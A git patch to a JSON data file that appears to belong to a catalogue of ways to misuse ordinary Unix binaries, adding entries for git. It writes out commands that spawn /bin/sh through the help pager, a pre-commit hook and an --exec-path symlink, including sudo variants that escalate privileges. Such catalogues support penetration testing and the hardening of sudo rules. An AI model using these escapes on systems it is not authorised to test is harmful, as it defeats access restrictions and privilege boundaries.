From f579f3881956ac7e81af947a06fa961a2763911b Mon Sep 17 00:00:00 2001 From: "Mr. Robot" Date: Sat, 3 Oct 2020 21:06:16 +0200 Subject: [PATCH] add descriptions and code examples --- data/git.json | 12 +++++++++++- 1 file changed, 11 insertions(+), 1 deletion(-) diff --git a/data/git.json b/data/git.json index 1c94175..11c690f 100644 --- a/data/git.json +++ b/data/git.json @@ -8,14 +8,21 @@ "description": "This invokes the default pager, which is likely to be 'less', other functions may apply.", "code": "git help config\n!/bin/sh\n" }, + { + "description": "The help system can also be reached from any 'git' command, e.g., 'git branch'. This invokes the default pager, which is likely to be 'less', other functions may apply.", + "code": "git branch --help config\n!/bin/sh\n" + }, { "description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.", "code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\ngit -C \"$TF\" commit --allow-empty -m x\n" + }, + { + "code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\ngit \"--exec-path=$TF\" x\n" } ], "file-read": [ { - "description": "The read file content is displayed in `diff` style output format.", + "description": "The read file content is displayed in 'diff' style output format.", "code": "git diff /dev/null [file]\n" } ], @@ -34,6 +41,9 @@ { "description": "Git hooks are merely shell scripts and in the following example the hook associated to the 'pre-commit' action is used. Any other hook will work, just make sure to be able perform the proper action to trigger it. An existing repository can also be used and moving into the directory works too, i.e., instead of using the '-C' option.", "code": "TF=$(mktemp -d)\ngit init \"$TF\"\necho 'exec /bin/sh 0<&2 1>&2' >\"$TF/.git/hooks/pre-commit.sample\"\nmv \"$TF/.git/hooks/pre-commit.sample\" \"$TF/.git/hooks/pre-commit\"\nsudo git -C \"$TF\" commit --allow-empty -m x\n" + }, + { + "code": "TF=$(mktemp -d)\nln -s /bin/sh \"$TF/git-x\"\nsudo git \"--exec-path=$TF\" x\n" } ], "limited-suid": [